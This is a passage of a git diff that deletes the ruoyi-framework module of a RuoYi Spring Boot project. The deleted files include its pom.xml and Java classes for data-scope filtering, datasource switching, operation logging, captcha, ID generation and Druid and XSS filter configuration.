- * ThreadLocalRandom是JDK 7之后提供并发产生随机数,能够解决多个线程发生的竞争争夺。 - * - * @return {@link ThreadLocalRandom} - */ - public static ThreadLocalRandom getRandom() - { - return ThreadLocalRandom.current(); - } -} diff --git a/ruoyi-framework/pom.xml b/ruoyi-framework/pom.xml deleted file mode 100644 index b7a4947..0000000 --- a/ruoyi-framework/pom.xml +++ /dev/null @@ -1,103 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - ruoyi-framework - - - framework框架核心 - - - - - - com.alibaba - fastjson - ${fastjson.version} - - - - org.springframework.boot - spring-boot-starter-web - - - - - org.springframework.boot - spring-boot-starter-aop - - - - - com.alibaba - druid-spring-boot-starter - - - - - com.github.penggle - kaptcha - - - javax.servlet-api - javax.servlet - - - - - - - com.github.oshi - oshi-core - - - - - com.ruoyi - ruoyi-system - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - org.apache.shardingsphere - sharding-jdbc-core - 4.1.1 - - - com.github.pagehelper - pagehelper-spring-boot-autoconfigure - 1.3.0 - - - com.baomidou - mybatis-plus-boot-starter - 3.4.0 - - - - - org.springframework.security.oauth.boot - spring-security-oauth2-autoconfigure - 2.2.13.RELEASE - - - - - com.google.api-client - google-api-client - 1.34.1 - - - - - diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java deleted file mode 100644 index 45d939b..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java +++ /dev/null @@ -1,169 +0,0 @@ -package com.ruoyi.framework.aspectj; - -import java.lang.reflect.Method; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.Signature; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.aspectj.lang.annotation.Pointcut; -import org.aspectj.lang.reflect.MethodSignature; -import org.springframework.stereotype.Component; -import com.ruoyi.common.annotation.DataScope; -import com.ruoyi.common.core.domain.BaseEntity; -import com.ruoyi.common.core.domain.entity.SysRole; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.framework.web.service.TokenService; - -/** - * 数据过滤处理 - * - * @author ruoyi - */ -@Aspect -@Component -public class DataScopeAspect -{ - /** - * 全部数据权限 - */ - public static final String DATA_SCOPE_ALL = "1"; - - /** - * 自定数据权限 - */ - public static final String DATA_SCOPE_CUSTOM = "2"; - - /** - * 部门数据权限 - */ - public static final String DATA_SCOPE_DEPT = "3"; - - /** - * 部门及以下数据权限 - */ - public static final String DATA_SCOPE_DEPT_AND_CHILD = "4"; - - /** - * 仅本人数据权限 - */ - public static final String DATA_SCOPE_SELF = "5"; - - /** - * 数据权限过滤关键字 - */ - public static final String DATA_SCOPE = "dataScope"; - - // 配置织入点 - @Pointcut("@annotation(com.ruoyi.common.annotation.DataScope)") - public void dataScopePointCut() - { - } - - @Before("dataScopePointCut()") - public void doBefore(JoinPoint point) throws Throwable - { - handleDataScope(point); - } - - protected void handleDataScope(final JoinPoint joinPoint) - { - // 获得注解 - DataScope controllerDataScope = getAnnotationLog(joinPoint); - if (controllerDataScope == null) - { - return; - } - // 获取当前的用户 - LoginUser loginUser = SpringUtils.getBean(TokenService.class).getLoginUser(ServletUtils.getRequest()); - if (StringUtils.isNotNull(loginUser)) - { - SysUser currentUser = loginUser.getUser(); - // 如果是超级管理员,则不过滤数据 - if (StringUtils.isNotNull(currentUser) && !currentUser.isAdmin()) - { - dataScopeFilter(joinPoint, currentUser, controllerDataScope.deptAlias(), - controllerDataScope.userAlias()); - } - } - } - - /** - * 数据范围过滤 - * - * @param joinPoint 切点 - * @param user 用户 - * @param userAlias 别名 - */ - public static void dataScopeFilter(JoinPoint joinPoint, SysUser user, String deptAlias, String userAlias) - { - StringBuilder sqlString = new StringBuilder(); - - for (SysRole role : user.getRoles()) - { - String dataScope = role.getDataScope(); - if (DATA_SCOPE_ALL.equals(dataScope)) - { - sqlString = new StringBuilder(); - break; - } - else if (DATA_SCOPE_CUSTOM.equals(dataScope)) - { - sqlString.append(StringUtils.format( - " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias, - role.getRoleId())); - } - else if (DATA_SCOPE_DEPT.equals(dataScope)) - { - sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId())); - } - else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope)) - { - sqlString.append(StringUtils.format( - " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )", - deptAlias, user.getDeptId(), user.getDeptId())); - } - else if (DATA_SCOPE_SELF.equals(dataScope)) - { - if (StringUtils.isNotBlank(userAlias)) - { - sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId())); - } - else - { - // 数据权限为仅本人且没有userAlias别名不查询任何数据 - sqlString.append(" OR 1=0 "); - } - } - } - - if (StringUtils.isNotBlank(sqlString.toString())) - { - Object params = joinPoint.getArgs()[0]; - if (StringUtils.isNotNull(params) && params instanceof BaseEntity) - { - BaseEntity baseEntity = (BaseEntity) params; - baseEntity.getParams().put(DATA_SCOPE, " AND (" + sqlString.substring(4) + ")"); - } - } - } - - /** - * 是否存在注解,如果存在就获取 - */ - private DataScope getAnnotationLog(JoinPoint joinPoint) - { - Signature signature = joinPoint.getSignature(); - MethodSignature methodSignature = (MethodSignature) signature; - Method method = methodSignature.getMethod(); - - if (method != null) - { - return method.getAnnotation(DataScope.class); - } - return null; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java deleted file mode 100644 index 1bedb1a..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.ruoyi.framework.aspectj; - -import java.util.Objects; - -import com.ruoyi.common.enums.DataSourceType; -import org.aspectj.lang.ProceedingJoinPoint; -import org.aspectj.lang.annotation.Around; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Pointcut; -import org.aspectj.lang.reflect.MethodSignature; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.core.annotation.AnnotationUtils; -import org.springframework.core.annotation.Order; -import org.springframework.stereotype.Component; -import com.ruoyi.common.annotation.DataSource; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.framework.datasource.DynamicDataSourceContextHolder; - -/** - * 多数据源处理 - * - * @author ruoyi - */ -@Aspect -@Order(1) -@Component -public class DataSourceAspect -{ - protected Logger logger = LoggerFactory.getLogger(getClass()); - - @Pointcut("@annotation(com.ruoyi.common.annotation.DataSource)" - + "|| @within(com.ruoyi.common.annotation.DataSource)") - public void dsPointCut() - { - - } - - @Around("dsPointCut()") - public Object around(ProceedingJoinPoint point) throws Throwable - { - DataSource dataSource = getDataSource(point); - - if (StringUtils.isNotNull(dataSource)) - { - DynamicDataSourceContextHolder.setDataSourceType(dataSource.value().name()); - }else{ - DynamicDataSourceContextHolder.setDataSourceType( DataSourceType.MASTER.name()); - } - - try - { - return point.proceed(); - } - finally - { - // 销毁数据源 在执行方法之后 - DynamicDataSourceContextHolder.clearDataSourceType(); - } - } - - /** - * 获取需要切换的数据源 - */ - public DataSource getDataSource(ProceedingJoinPoint point) - { - MethodSignature signature = (MethodSignature) point.getSignature(); - DataSource dataSource = AnnotationUtils.findAnnotation(signature.getMethod(), DataSource.class); - if (Objects.nonNull(dataSource)) - { - return dataSource; - } - - return AnnotationUtils.findAnnotation(signature.getDeclaringType(), DataSource.class); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java deleted file mode 100644 index 1d211f2..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java +++ /dev/null @@ -1,245 +0,0 @@ -package com.ruoyi.framework.aspectj; - -import java.lang.reflect.Method; -import java.util.Collection; -import java.util.Iterator; -import java.util.Map; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.Signature; -import org.aspectj.lang.annotation.AfterReturning; -import org.aspectj.lang.annotation.AfterThrowing; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Pointcut; -import org.aspectj.lang.reflect.MethodSignature; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.stereotype.Component; -import org.springframework.web.multipart.MultipartFile; -import org.springframework.web.servlet.HandlerMapping; -import com.alibaba.fastjson.JSON; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.enums.BusinessStatus; -import com.ruoyi.common.enums.HttpMethod; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.ip.IpUtils; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.framework.manager.AsyncManager; -import com.ruoyi.framework.manager.factory.AsyncFactory; -import com.ruoyi.framework.web.service.TokenService; -import com.ruoyi.system.domain.SysOperLog; - -/** - * 操作日志记录处理 - * - * @author ruoyi - */ -@Aspect -@Component -public class LogAspect -{ - private static final Logger log = LoggerFactory.getLogger(LogAspect.class); - - // 配置织入点 - @Pointcut("@annotation(com.ruoyi.common.annotation.Log)") - public void logPointCut() - { - } - - /** - * 处理完请求后执行 - * - * @param joinPoint 切点 - */ - @AfterReturning(pointcut = "logPointCut()", returning = "jsonResult") - public void doAfterReturning(JoinPoint joinPoint, Object jsonResult) - { - handleLog(joinPoint, null, jsonResult); - } - - /** - * 拦截异常操作 - * - * @param joinPoint 切点 - * @param e 异常 - */ - @AfterThrowing(value = "logPointCut()", throwing = "e") - public void doAfterThrowing(JoinPoint joinPoint, Exception e) - { - handleLog(joinPoint, e, null); - } - - protected void handleLog(final JoinPoint joinPoint, final Exception e, Object jsonResult) - { - try - { - // 获得注解 - Log controllerLog = getAnnotationLog(joinPoint); - if (controllerLog == null) - { - return; - } - - // 获取当前的用户 - LoginUser loginUser = SpringUtils.getBean(TokenService.class).getLoginUser(ServletUtils.getRequest()); - - // *========数据库日志=========*// - SysOperLog operLog = new SysOperLog(); - operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); - // 请求的地址 - String ip = IpUtils.getIpAddr(ServletUtils.getRequest()); - operLog.setOperIp(ip); - // 返回一次性凭据或敏感数据的接口可通过注解显式禁止保存响应体。 - if (controllerLog.isSaveResponseData()) - { - operLog.setJsonResult(JSON.toJSONString(jsonResult)); - } - - operLog.setOperUrl(ServletUtils.getRequest().getRequestURI()); - if (loginUser != null) - { - operLog.setOperName(loginUser.getUsername()); - } - - if (e != null) - { - operLog.setStatus(BusinessStatus.FAIL.ordinal()); - operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000)); - } - // 设置方法名称 - String className = joinPoint.getTarget().getClass().getName(); - String methodName = joinPoint.getSignature().getName(); - operLog.setMethod(className + "." + methodName + "()"); - // 设置请求方式 - operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); - // 处理设置注解上的参数 - getControllerMethodDescription(joinPoint, controllerLog, operLog); - // 保存数据库 - AsyncManager.me().execute(AsyncFactory.recordOper(operLog)); - } - catch (Exception exp) - { - // 记录本地异常日志 - log.error("==前置通知异常=="); - log.error("异常信息:{}", exp.getMessage()); - exp.printStackTrace(); - } - } - - /** - * 获取注解中对方法的描述信息 用于Controller层注解 - * - * @param log 日志 - * @param operLog 操作日志 - * @throws Exception - */ - public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog) throws Exception - { - // 设置action动作 - operLog.setBusinessType(log.businessType().ordinal()); - // 设置标题 - operLog.setTitle(log.title()); - // 设置操作人类别 - operLog.setOperatorType(log.operatorType().ordinal()); - // 是否需要保存request,参数和值 - if (log.isSaveRequestData()) - { - // 获取参数的信息,传入到数据库中。 - setRequestValue(joinPoint, operLog); - } - } - - /** - * 获取请求的参数,放到log中 - * - * @param operLog 操作日志 - * @throws Exception 异常 - */ - private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog) throws Exception - { - String requestMethod = operLog.getRequestMethod(); - if (HttpMethod.PUT.name().equals(requestMethod) || HttpMethod.POST.name().equals(requestMethod)) - { - String params = argsArrayToString(joinPoint.getArgs()); - operLog.setOperParam(StringUtils.substring(params, 0, 2000)); - } - else - { - Map paramsMap = (Map) ServletUtils.getRequest().getAttribute(HandlerMapping.URI_TEMPLATE_VARIABLES_ATTRIBUTE); - operLog.setOperParam(StringUtils.substring(paramsMap.toString(), 0, 2000)); - } - } - - /** - * 是否存在注解,如果存在就获取 - */ - private Log getAnnotationLog(JoinPoint joinPoint) throws Exception - { - Signature signature = joinPoint.getSignature(); - MethodSignature methodSignature = (MethodSignature) signature; - Method method = methodSignature.getMethod(); - - if (method != null) - { - return method.getAnnotation(Log.class); - } - return null; - } - - /** - * 参数拼装 - */ - private String argsArrayToString(Object[] paramsArray) - { - String params = ""; - if (paramsArray != null && paramsArray.length > 0) - { - for (int i = 0; i < paramsArray.length; i++) - { - if (!isFilterObject(paramsArray[i])) - { - Object jsonObj = JSON.toJSON(paramsArray[i]); - params += jsonObj.toString() + " "; - } - } - } - return params.trim(); - } - - /** - * 判断是否需要过滤的对象。 - * - * @param o 对象信息。 - * @return 如果是需要过滤的对象,则返回true;否则返回false。 - */ - @SuppressWarnings("rawtypes") - public boolean isFilterObject(final Object o) - { - Class clazz = o.getClass(); - if (clazz.isArray()) - { - return clazz.getComponentType().isAssignableFrom(MultipartFile.class); - } - else if (Collection.class.isAssignableFrom(clazz)) - { - Collection collection = (Collection) o; - for (Iterator iter = collection.iterator(); iter.hasNext();) - { - return iter.next() instanceof MultipartFile; - } - } - else if (Map.class.isAssignableFrom(clazz)) - { - Map map = (Map) o; - for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) - { - Map.Entry entry = (Map.Entry) iter.next(); - return entry.getValue() instanceof MultipartFile; - } - } - return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java deleted file mode 100644 index 1d4dc1f..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.ruoyi.framework.config; - -import java.util.TimeZone; -import org.mybatis.spring.annotation.MapperScan; -import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.context.annotation.EnableAspectJAutoProxy; - -/** - * 程序注解配置 - * - * @author ruoyi - */ -@Configuration -// 表示通过aop框架暴露该代理对象,AopContext能够访问 -@EnableAspectJAutoProxy(exposeProxy = true) -// 指定要扫描的Mapper类的包的路径 -@MapperScan("com.ruoyi.**.mapper") -public class ApplicationConfig -{ - /** - * 时区配置 - */ - @Bean - public Jackson2ObjectMapperBuilderCustomizer jacksonObjectMapperCustomization() - { - return jacksonObjectMapperBuilder -> jacksonObjectMapperBuilder.timeZone(TimeZone.getDefault()); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java deleted file mode 100644 index 43e78ae..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java +++ /dev/null @@ -1,83 +0,0 @@ -package com.ruoyi.framework.config; - -import java.util.Properties; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import com.google.code.kaptcha.impl.DefaultKaptcha; -import com.google.code.kaptcha.util.Config; -import static com.google.code.kaptcha.Constants.*; - -/** - * 验证码配置 - * - * @author ruoyi - */ -@Configuration -public class CaptchaConfig -{ - @Bean(name = "captchaProducer") - public DefaultKaptcha getKaptchaBean() - { - DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); - Properties properties = new Properties(); - // 是否有边框 默认为true 我们可以自己设置yes,no - properties.setProperty(KAPTCHA_BORDER, "yes"); - // 验证码文本字符颜色 默认为Color.BLACK - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "black"); - // 验证码图片宽度 默认为200 - properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); - // 验证码图片高度 默认为50 - properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); - // 验证码文本字符大小 默认为40 - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "38"); - // KAPTCHA_SESSION_KEY - properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCode"); - // 验证码文本字符长度 默认为5 - properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "4"); - // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); - // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy - properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); - Config config = new Config(properties); - defaultKaptcha.setConfig(config); - return defaultKaptcha; - } - - @Bean(name = "captchaProducerMath") - public DefaultKaptcha getKaptchaBeanMath() - { - DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); - Properties properties = new Properties(); - // 是否有边框 默认为true 我们可以自己设置yes,no - properties.setProperty(KAPTCHA_BORDER, "yes"); - // 边框颜色 默认为Color.BLACK - properties.setProperty(KAPTCHA_BORDER_COLOR, "105,179,90"); - // 验证码文本字符颜色 默认为Color.BLACK - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "blue"); - // 验证码图片宽度 默认为200 - properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); - // 验证码图片高度 默认为50 - properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); - // 验证码文本字符大小 默认为40 - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "35"); - // KAPTCHA_SESSION_KEY - properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCodeMath"); - // 验证码文本生成器 - properties.setProperty(KAPTCHA_TEXTPRODUCER_IMPL, "com.ruoyi.framework.config.KaptchaTextCreator"); - // 验证码文本字符间距 默认为2 - properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_SPACE, "3"); - // 验证码文本字符长度 默认为5 - properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "6"); - // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) - properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); - // 验证码噪点颜色 默认为Color.BLACK - properties.setProperty(KAPTCHA_NOISE_COLOR, "white"); - // 干扰实现类 - properties.setProperty(KAPTCHA_NOISE_IMPL, "com.google.code.kaptcha.impl.NoNoise"); - // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy - properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); - Config config = new Config(properties); - defaultKaptcha.setConfig(config); - return defaultKaptcha; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CustomKeyGenerator.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CustomKeyGenerator.java deleted file mode 100644 index 298d4aa..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CustomKeyGenerator.java +++ /dev/null @@ -1,80 +0,0 @@ -package com.ruoyi.framework.config; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; -import lombok.extern.slf4j.Slf4j; -import org.apache.ibatis.reflection.DefaultReflectorFactory; -import org.apache.ibatis.reflection.ReflectorFactory; -import org.springframework.stereotype.Component; - -import java.lang.reflect.Field; -import java.util.concurrent.atomic.AtomicLong; - -@Slf4j -@Component -public class CustomKeyGenerator implements IdentifierGenerator { - - private final ReflectorFactory reflectorFactory = new DefaultReflectorFactory(); - - private final AtomicLong atomicLong = new AtomicLong(System.currentTimeMillis()); - - @Override - public Number nextId(Object entity) { - IdType idType = getIdTypeFromEntity(entity); - - if (idType == null || idType == IdType.AUTO) { - return null; - } - - switch (idType) { - case ASSIGN_ID: - return generateSnowflakeId(); - case ASSIGN_UUID: - return null; - case INPUT: - return null; - case ID_WORKER: - return generateSnowflakeId(); - case ID_WORKER_STR: - return generateSnowflakeId(); - case UUID: - return null; - default: - return null; - } - } - - @Override - public String nextUUID(Object entity) { - IdType idType = getIdTypeFromEntity(entity); - - if (idType == IdType.ASSIGN_UUID || idType == IdType.UUID) { - return java.util.UUID.randomUUID().toString().replace("-", ""); - } - - return null; - } - - private IdType getIdTypeFromEntity(Object entity) { - if (entity == null) { - return null; - } - - Class clazz = entity.getClass(); - Field[] fields = clazz.getDeclaredFields(); - - for (Field field : fields) { - TableId tableId = field.getAnnotation(TableId.class); - if (tableId != null) { - return tableId.type(); - } - } - - return null; - } - - private Long generateSnowflakeId() { - return atomicLong.incrementAndGet(); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java deleted file mode 100644 index 2e837b7..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java +++ /dev/null @@ -1,139 +0,0 @@ -package com.ruoyi.framework.config; - -import java.io.IOException; -import java.util.HashMap; -import java.util.Map; -import javax.servlet.Filter; -import javax.servlet.FilterChain; -import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.sql.DataSource; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.bind.Bindable; -import org.springframework.boot.context.properties.bind.Binder; -import org.springframework.core.env.Environment; -import com.ruoyi.common.utils.DatabaseTimeZone; -import org.springframework.boot.web.servlet.FilterRegistrationBean; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.context.annotation.Primary; -import com.alibaba.druid.pool.DruidDataSource; -import com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder; -import com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties; -import com.alibaba.druid.util.Utils; -import com.ruoyi.common.enums.DataSourceType; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.framework.config.properties.DruidProperties; -import com.ruoyi.framework.datasource.DynamicDataSource; - -/** - * druid 配置多数据源 - * - * @author ruoyi - */ -@Configuration -public class DruidConfig -{ - @org.springframework.beans.factory.annotation.Autowired - private Environment environment; - - /** 先绑定用户配置,再归一化时区,避免@ConfigurationProperties后续覆盖修正后的URL。 */ - private DataSource createDataSource(String prefix, DruidProperties properties) { - DruidDataSource source = DruidDataSourceBuilder.create().build(); - Binder.get(environment).bind(prefix, Bindable.ofInstance(source)); - source.setUrl(DatabaseTimeZone.normalizeMySqlUrl(source.getUrl())); - org.slf4j.LoggerFactory.getLogger(DruidConfig.class).info( - "数据库时间配置 source={} jvmZone={} connectionTimeZone=LOCAL forceSessionTimeZone=true", - prefix, java.time.ZoneId.systemDefault()); - return properties.dataSource(source); - } - - @Bean - public DataSource masterDataSource(DruidProperties druidProperties) - { - return createDataSource("spring.datasource.druid.master", druidProperties); - } - - @Bean - @ConditionalOnProperty(prefix = "spring.datasource.druid.slave", name = "enabled", havingValue = "true") - public DataSource slaveDataSource(DruidProperties druidProperties) - { - return createDataSource("spring.datasource.druid.slave", druidProperties); - } - - @Bean(name = "dynamicDataSource") - @Primary - public DynamicDataSource dataSource(DataSource masterDataSource) - { - Map targetDataSources = new HashMap<>(); - targetDataSources.put(DataSourceType.MASTER.name(), masterDataSource); - setDataSource(targetDataSources, DataSourceType.SLAVE.name(), "slaveDataSource"); - return new DynamicDataSource(masterDataSource, targetDataSources); - } - - /** - * 设置数据源 - * - * @param targetDataSources 备选数据源集合 - * @param sourceName 数据源名称 - * @param beanName bean名称 - */ - public void setDataSource(Map targetDataSources, String sourceName, String beanName) - { - try - { - DataSource dataSource = SpringUtils.getBean(beanName); - targetDataSources.put(sourceName, dataSource); - } - catch (Exception e) - { - } - } - - /** - * 去除监控页面底部的广告 - */ - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Bean - @ConditionalOnProperty(name = "spring.datasource.druid.statViewServlet.enabled", havingValue = "true") - public FilterRegistrationBean removeDruidFilterRegistrationBean(DruidStatProperties properties) - { - // 获取web监控页面的参数 - DruidStatProperties.StatViewServlet config = properties.getStatViewServlet(); - // 提取common.js的配置路径 - String pattern = config.getUrlPattern() != null ? config.getUrlPattern() : "/druid/*"; - String commonJsPattern = pattern.replaceAll("\\*", "js/common.js"); - final String filePath = "support/http/resources/js/common.js"; - // 创建filter进行过滤 - Filter filter = new Filter() - { - @Override - public void init(javax.servlet.FilterConfig filterConfig) throws ServletException - { - } - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) - throws IOException, ServletException - { - chain.doFilter(request, response); - // 重置缓冲区,响应头不会被重置 - response.resetBuffer(); - // 获取common.js - String text = Utils.readFromResource(filePath); - // 正则替换banner, 除去底部的广告信息 - text = text.replaceAll("
", ""); - text = text.replaceAll("powered.*?shrek.wang", ""); - response.getWriter().write(text); - } - @Override - public void destroy() - { - } - }; - FilterRegistrationBean registrationBean = new FilterRegistrationBean(); - registrationBean.setFilter(filter); - registrationBean.addUrlPatterns(commonJsPattern); - return registrationBean; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java deleted file mode 100644 index b5f03ec..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java +++ /dev/null @@ -1,60 +0,0 @@ -package com.ruoyi.framework.config; - -import java.util.HashMap; -import java.util.Map; -import javax.servlet.DispatcherType; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.boot.web.servlet.FilterRegistrationBean; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import com.ruoyi.common.filter.RepeatableFilter; -import com.ruoyi.common.filter.XssFilter; -import com.ruoyi.common.utils.StringUtils; - -/** - * Filter配置 - * - * @author ruoyi - */ -@Configuration -public class FilterConfig -{ - @Value("${xss.enabled}") - private String enabled; - - @Value("${xss.excludes}") - private String excludes; - - @Value("${xss.urlPatterns}") - private String urlPatterns; - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Bean - public FilterRegistrationBean xssFilterRegistration() - { - FilterRegistrationBean registration = new FilterRegistrationBean(); - registration.setDispatcherTypes(DispatcherType.REQUEST); - registration.setFilter(new XssFilter()); - registration.addUrlPatterns(StringUtils.split(urlPatterns, ",")); - registration.setName("xssFilter"); - registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE); - Map initParameters = new HashMap(); - initParameters.put("excludes", excludes); - initParameters.put("enabled", enabled); - registration.setInitParameters(initParameters); - return registration; - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Bean - public FilterRegistrationBean someFilterRegistration() - { - FilterRegistrationBean registration = new FilterRegistrationBean(); - registration.setFilter(new RepeatableFilter()); - registration.addUrlPatterns("/*"); - registration.setName("repeatableFilter"); - registration.setOrder(FilterRegistrationBean.LOWEST_PRECEDENCE); - return registration; - } - -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java deleted file mode 100644 index 3e74580..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java +++ /dev/null @@ -1,75 +0,0 @@ -package com.ruoyi.framework.config; - -import java.util.Random; -import com.google.code.kaptcha.text.impl.DefaultTextCreator; - -/** - * 验证码文本生成器 - * - * @author ruoyi - */ -public class KaptchaTextCreator extends DefaultTextCreator -{ - private static final String[] CNUMBERS = "0,1,2,3,4,5,6,7,8,9,10".split(","); - - @Override - public String getText() - { - Integer result = 0; - Random random = new Random(); - int x = random.nextInt(10); - int y = random.nextInt(10); - StringBuilder suChinese = new StringBuilder(); - int randomoperands = (int) Math.round(Math.random() * 2); - if (randomoperands == 0) - { - result = x * y; - suChinese.append(CNUMBERS[x]); - suChinese.append("*"); - suChinese.append(CNUMBERS[y]); - } - else if (randomoperands == 1) - { - if (!(x == 0) && y % x == 0) - { - result = y / x; - suChinese.append(CNUMBERS[y]); - suChinese.append("/"); - suChinese.append(CNUMBERS[x]); - } - else - { - result = x + y; - suChinese.append(CNUMBERS[x]); - suChinese.append("+"); - suChinese.append(CNUMBERS[y]); - } - } - else if (randomoperands == 2) - { - if (x >= y) - { - result = x - y; - 